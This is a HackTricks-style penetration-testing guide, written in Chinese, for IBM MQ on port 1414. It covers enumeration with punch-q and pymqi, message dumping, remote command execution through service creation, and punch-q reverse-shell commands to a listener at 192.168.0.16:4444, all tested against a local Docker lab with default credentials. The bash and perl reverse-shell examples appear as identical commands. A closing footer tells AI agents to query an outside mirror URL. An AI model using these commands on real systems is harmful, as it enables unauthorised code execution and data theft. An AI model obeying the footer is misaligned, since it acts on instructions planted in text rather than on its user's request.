# 1414 - Pentesting IBM MQ

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？您想在HackTricks中看到您的**公司广告**吗？或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)。
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)。
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord群**]\(<https://discord.gg/hRep4RUj7f>) **或**[**电报群**](https://t.me/peass) **或在Twitter上关注**我🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。

</details>

## 基本信息

IBM MQ是IBM的一项技术，用于管理消息队列。与其他**消息代理**技术一样，它专门用于在生产者和消费者之间接收、存储、处理和分类信息。

默认情况下，**它会暴露IBM MQ TCP端口1414**。 有时，HTTP REST API也可以在端口**9443**上暴露。 指标（Prometheus）也可以通过TCP端口**9157**访问。

IBM MQ TCP端口1414可用于操纵消息、队列、通道等，**也可用于控制实例**。

IBM提供了大量的技术文档，可在<https://www.ibm.com/docs/en/ibm-mq>上找到。

## 工具

一个建议的用于简单利用的工具是\*\*[punch-q](https://github.com/sensepost/punch-q)\*\*，使用Docker。该工具积极使用Python库`pymqi`。

对于更手动的方法，使用Python库\*\*[pymqi](https://github.com/dsuch/pymqi)\*\*。需要[IBM MQ依赖项](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere\&product=ibm/WebSphere/WebSphere+MQ\&release=9.0.0.4\&platform=All\&function=fixId\&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA)。

### 安装pymqi

需要安装和加载**IBM MQ依赖项**：

1. 在<https://login.ibm.com/>上创建一个帐户（IBMid）。
2. 从<https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA>下载IBM MQ库。对于Linux x86\_64，使用**9.0.0.4-IBM-MQC-LinuxX64.tar.gz**。
3. 解压缩（`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`）。
4. 运行`sudo ./mqlicense.sh`接受许可条款。

> 如果您使用Kali Linux，请修改文件`mqlicense.sh`：删除/注释以下行（在105-110行之间）：
>
> ```bash
> if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
>  then
>    echo "ERROR: This package is incompatible with this system"
>    echo "       This package was built for ${BUILD_PLATFORM}"
>    exit 1
> fi
> ```

5. 安装这些软件包：

```bash
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
```

6. 然后，临时将`.so`文件添加到LD中：`export LD_LIBRARY_PATH=/opt/mqm/lib64`，**在**运行其他使用这些依赖项的工具之前。

然后，您可以克隆项目[pymqi](https://github.com/dsuch/pymqi)：它包含有趣的代码片段、常量，... 或者您可以直接安装该库：`pip install pymqi`。

### 使用punch-q

#### 使用Docker

只需运行：`sudo docker run --rm -ti leonjza/punch-q`。

#### 不使用Docker

克隆项目[punch-q](https://github.com/sensepost/punch-q)，然后按照自述文件进行安装（`pip install -r requirements.txt && python3 setup.py install`）。

安装完成后，可以使用`punch-q`命令。

## 枚举

您可以尝试使用**punch-q**或**pymqi**来枚举**队列管理器名称、用户、通道和队列**。

### 队列管理器

有时，获取队列管理器名称时没有任何保护措施：

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
```

### 通道

**punch-q** 使用内部（可修改的）单词列表来查找现有通道。使用示例：

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
```

一些 IBM MQ 实例接受**未经身份验证**的 MQ 请求，因此不需要 `--username / --password`。当然，访问权限也可能有所不同。

一旦我们获得一个通道名称（这里是：`DEV.ADMIN.SVRCONN`），我们就可以枚举所有其他通道。

基本上可以使用 **pymqi** 中的这段代码片段 `code/examples/dis_channels.py` 来进行枚举：

```python
import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

```

...但**punch-q**也嵌入了该部分（附带更多信息！）。 可以使用以下方式启动：

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |
```

### 队列

有一个使用 **pymqi** 的代码片段 (`dis_queues.py`)，但 **punch-q** 允许检索有关队列的更多信息：

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated
```

## 漏洞利用

### 转储消息

您可以针对队列/通道进行定位，以便从中嗅探/转储消息（非破坏性操作）。*示例：*

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
```

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
```

**不要犹豫，对所有识别的队列进行迭代。**

### 代码执行

> 在继续之前，有一些细节：IBM MQ可以通过多种方式进行控制：MQSC、PCF、控制命令。一些常见列表可以在[IBM MQ文档](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison)中找到。 [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats)（***可编程命令格式***）是我们专注于与实例远程交互的内容。**punch-q**和**pymqi**都基于PCF交互。
>
> 您可以找到PCF命令列表：
>
> * [来自PCF文档](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats)，以及
> * [来自常量](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes)。
>
> 一个有趣的命令是`MQCMD_CREATE_SERVICE`，其文档可在[此处](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms)找到。它以`StartCommand`作为参数，指向实例上的本地程序（例如：`/bin/sh`）。
>
> 文档中还对该命令进行了警告：“注意：此命令允许用户以mqm权限运行任意命令。如果授予使用此命令的权限，恶意或粗心的用户可能定义一个损坏您系统或数据的服务，例如通过删除必要文件。”
>
> *注意：始终根据IBM MQ文档（管理参考）的说法，还有一个HTTP端点位于`/admin/action/qmgr/{qmgrName}/mqsc`，用于运行相应的MQSC命令以创建服务（`DEFINE SERVICE`）。这方面目前尚未在此处涵盖。*

使用**punch-q**可以通过PCF进行远程程序执行的服务创建/删除：

**示例1**

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
```

> 在 IBM MQ 的日志中，您可以看到命令已成功执行：
>
> ```bash
> 2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
> ```

您还可以枚举机器上现有的程序（这里 `/bin/doesnotexist` ... 不存在）：

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
```

**请注意，程序启动是异步的。因此，您需要第二个项目来利用漏洞** ***(反向shell的监听器，不同服务上的文件创建，通过网络进行数据外泄...)***

**示例2**

为了简单地获取反向shell，**punch-q** 还提供了两种反向shell有效载荷：

* 一个使用bash
* 一个使用perl

*当然，您也可以使用 `execute` 命令构建自定义的有效载荷。*

对于bash：

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```

对于perl：

```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```

### 自定义 PCF

您可以深入研究 IBM MQ 文档，并直接使用 **pymqi** Python 库来测试 **punch-q** 中未实现的特定 PCF 命令。

**示例：**

```python
import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

```

如果找不到常量名称，可以参考[IBM MQ文档](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors)。

> *例如*[*`MQCMD_REFRESH_CLUSTER`*](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster)*（十进制 = 73）的示例。它需要参数`MQCA_CLUSTER_NAME`（十进制 = 2029），可以是`*`（文档：）：*
>
> ```python
> import pymqi
>
> queue_manager = 'MYQUEUEMGR'
> channel = 'DEV.ADMIN.SVRCONN'
> host = '172.17.0.2'
> port = '1414'
> conn_info = '%s(%s)' % (host, port)
> user = 'admin'
> password = 'passw0rd'
>
> qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
> pcf = pymqi.PCFExecute(qmgr)
>
> try:
>     args = {2029: "*"}
>     response = pcf.MQCMD_REFRESH_CLUSTER(args)
> except pymqi.MQMIError as e:
>     print("Error")
> else:
>     print(response)
>
> qmgr.disconnect()
> ```

## 测试环境

如果要测试IBM MQ的行为和漏洞，可以基于Docker设置本地环境：

1. 在ibm.com和cloud.ibm.com上拥有账户。
2. 使用以下步骤创建一个容器化的IBM MQ：

```bash
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
```

默认情况下，身份验证已启用，用户名为 `admin`，密码为 `passw0rd`（环境变量 `MQ_ADMIN_PASSWORD`）。 在这里，队列管理器名称已设置为 `MYQUEUEMGR`（变量 `MQ_QMGR_NAME`）。

您应该已经启动并运行IBM MQ，并暴露了其端口：

```bash
❯ sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:9.3.2.0-r2   "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq
```

> IBM MQ的旧版本Docker镜像位于: <https://hub.docker.com/r/ibmcom/mq/>.

## 参考资料

* [mgeeky的要点 - "实用IBM MQ渗透测试笔记"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
* [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
* [IBM MQ文档](https://www.ibm.com/docs/en/ibm-mq)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/network-services-pentesting/1414-pentesting-ibmmq.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
